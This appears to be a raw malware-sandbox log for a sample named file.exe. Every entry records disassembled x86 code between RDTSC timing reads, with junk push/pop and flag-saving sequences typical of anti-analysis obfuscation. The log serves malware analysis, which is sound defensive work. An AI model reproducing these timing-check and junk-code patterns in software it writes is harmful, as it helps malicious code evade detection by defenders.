Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6050B second address: 4C60511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6029D second address: 4C602A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602A3 second address: 4C602A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602A9 second address: 4C602AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602AD second address: 4C602CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F345319F5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70078 second address: 4C700AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f call 00007F0F34BEC14Fh 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0ADE second address: 4CA0B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dl 0x00000005 pushfd 0x00000006 jmp 00007F0F345319EAh 0x0000000b jmp 00007F0F345319F5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F0F345319EEh 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B1E second address: 4CA0B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B22 second address: 4CA0B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0B26 second address: 4CA0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80161 second address: 4C80167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80167 second address: 4C8017B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC150h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8017B second address: 4C8017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8017F second address: 4C801F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0F34BEC14Dh 0x00000012 sbb eax, 5C9434B6h 0x00000018 jmp 00007F0F34BEC151h 0x0000001d popfd 0x0000001e jmp 00007F0F34BEC150h 0x00000023 popad 0x00000024 and dword ptr [eax], 00000000h 0x00000027 pushad 0x00000028 mov dx, cx 0x0000002b pushfd 0x0000002c jmp 00007F0F34BEC14Ah 0x00000031 sbb ecx, 6ABEDF08h 0x00000037 jmp 00007F0F34BEC14Bh 0x0000003c popfd 0x0000003d popad 0x0000003e and dword ptr [eax+04h], 00000000h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov ecx, ebx 0x00000047 mov si, dx 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C801F4 second address: 4C801FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70CD1 second address: 4C70CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC14Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70CE2 second address: 4C70CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70CE6 second address: 4C70D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F34BEC153h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70F85 second address: 4C70F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02B7 second address: 4CA02F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC158h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F34BEC155h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02F2 second address: 4CA02F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02F8 second address: 4CA034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0F34BEC150h 0x00000011 and eax, 1F647128h 0x00000017 jmp 00007F0F34BEC14Bh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ecx 0x0000001f jmp 00007F0F34BEC156h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0F34BEC14Eh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA034F second address: 4CA039E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov al, 73h 0x0000000d movsx ebx, si 0x00000010 popad 0x00000011 mov eax, dword ptr [76FB65FCh] 0x00000016 jmp 00007F0F345319F8h 0x0000001b test eax, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0F345319F7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA039E second address: 4CA03DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0FA6E7F6F1h 0x0000000f pushad 0x00000010 mov edi, esi 0x00000012 mov si, 8C8Fh 0x00000016 popad 0x00000017 mov ecx, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0F34BEC151h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03DE second address: 4CA03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03FC second address: 4CA0400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0400 second address: 4CA0406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0406 second address: 4CA0458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d jmp 00007F0F34BEC154h 0x00000012 pushfd 0x00000013 jmp 00007F0F34BEC152h 0x00000018 add ch, 00000028h 0x0000001b jmp 00007F0F34BEC14Bh 0x00000020 popfd 0x00000021 popad 0x00000022 ror eax, cl 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0458 second address: 4CA045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA045C second address: 4CA0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0462 second address: 4CA0468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0468 second address: 4CA046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA046C second address: 4CA04BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F0F345319F0h 0x0000000e retn 0004h 0x00000011 nop 0x00000012 mov esi, eax 0x00000014 lea eax, dword ptr [ebp-08h] 0x00000017 xor esi, dword ptr [00A42014h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push eax 0x00000020 lea eax, dword ptr [ebp-10h] 0x00000023 push eax 0x00000024 call 00007F0F387D1DAEh 0x00000029 push FFFFFFFEh 0x0000002b pushad 0x0000002c mov ebx, 5E8B5FD0h 0x00000031 popad 0x00000032 pop eax 0x00000033 jmp 00007F0F345319EFh 0x00000038 ret 0x00000039 nop 0x0000003a push eax 0x0000003b call 00007F0F387D1DC1h 0x00000040 mov edi, edi 0x00000042 pushad 0x00000043 movzx eax, bx 0x00000046 call 00007F0F345319F1h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04BB second address: 4CA0514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esp 0x00000007 pushad 0x00000008 movzx ecx, bx 0x0000000b pushfd 0x0000000c jmp 00007F0F34BEC155h 0x00000011 sbb ecx, 31BDE066h 0x00000017 jmp 00007F0F34BEC151h 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [esp], ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0F34BEC158h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0514 second address: 4CA051A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50050 second address: 4C5006F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F34BEC151h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5006F second address: 4C50084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50084 second address: 4C50094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC14Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50094 second address: 4C500A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F345319EAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500A9 second address: 4C500AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500AF second address: 4C500E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F0F345319EEh 0x00000012 and esp, FFFFFFF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0F345319EAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500E3 second address: 4C500F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500F2 second address: 4C5011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F0F345319EBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F345319F5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5011D second address: 4C50190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC157h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007F0F34BEC150h 0x00000013 pop esi 0x00000014 call 00007F0F34BEC14Bh 0x00000019 pop ecx 0x0000001a popad 0x0000001b push edx 0x0000001c mov edi, eax 0x0000001e pop ecx 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 jmp 00007F0F34BEC157h 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F0F34BEC155h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50190 second address: 4C50196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50196 second address: 4C5019A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5019A second address: 4C501A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501A8 second address: 4C501B9 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov al, D0h 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, dx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501B9 second address: 4C501CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501CC second address: 4C50211 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e pushad 0x0000000f mov ecx, 5EA97883h 0x00000014 mov dh, ah 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0F34BEC157h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50211 second address: 4C50217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50217 second address: 4C5021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5021B second address: 4C50235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50235 second address: 4C50239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50239 second address: 4C5023F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50361 second address: 4C50370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50370 second address: 4C5044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a or edx, dword ptr [ebp+0Ch] 0x0000000d jmp 00007F0F345319F1h 0x00000012 test edx, 61000000h 0x00000018 jmp 00007F0F345319EEh 0x0000001d jne 00007F0FA680FCCCh 0x00000023 jmp 00007F0F345319F0h 0x00000028 test byte ptr [esi+48h], 00000001h 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F0F345319EEh 0x00000033 adc esi, 3FC30268h 0x00000039 jmp 00007F0F345319EBh 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007F0F345319F8h 0x00000045 sub eax, 284FD4C8h 0x0000004b jmp 00007F0F345319EBh 0x00000050 popfd 0x00000051 popad 0x00000052 jne 00007F0FA680FC7Dh 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007F0F345319F4h 0x0000005f jmp 00007F0F345319F5h 0x00000064 popfd 0x00000065 mov bl, ah 0x00000067 popad 0x00000068 test bl, 00000007h 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e mov esi, 024CC12Bh 0x00000073 movzx eax, bx 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5044E second address: 4C5046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC159h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40706 second address: 4C40779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d mov di, cx 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F0F345319EFh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F0F345319F6h 0x0000001d mov ebp, esp 0x0000001f jmp 00007F0F345319F0h 0x00000024 and esp, FFFFFFF8h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F0F345319F7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40779 second address: 4C407B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F34BEC158h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407B3 second address: 4C407B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407B7 second address: 4C407BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407BD second address: 4C407D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407D6 second address: 4C407DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407DA second address: 4C407E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407E0 second address: 4C40871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F34BEC155h 0x00000009 xor ah, FFFFFF86h 0x0000000c jmp 00007F0F34BEC151h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F0F34BEC150h 0x00000018 jmp 00007F0F34BEC155h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ebx, 762DF36Eh 0x0000002a pushfd 0x0000002b jmp 00007F0F34BEC14Fh 0x00000030 xor cx, 141Eh 0x00000035 jmp 00007F0F34BEC159h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40871 second address: 4C40877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40877 second address: 4C4087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4087B second address: 4C4088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4088A second address: 4C4089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4089B second address: 4C408F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, CBh 0x00000005 mov ecx, 37A428BFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], esi 0x00000010 pushad 0x00000011 push esi 0x00000012 mov si, bx 0x00000015 pop edx 0x00000016 jmp 00007F0F345319F8h 0x0000001b popad 0x0000001c mov esi, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F0F345319EDh 0x00000028 xor ecx, 7AD687C6h 0x0000002e jmp 00007F0F345319F1h 0x00000033 popfd 0x00000034 mov ah, 2Ch 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408F9 second address: 4C408FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408FF second address: 4C40903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40903 second address: 4C40907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40907 second address: 4C40919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub ebx, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40919 second address: 4C40929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC14Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40929 second address: 4C4093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F345319EBh 0x00000010 rdtsc
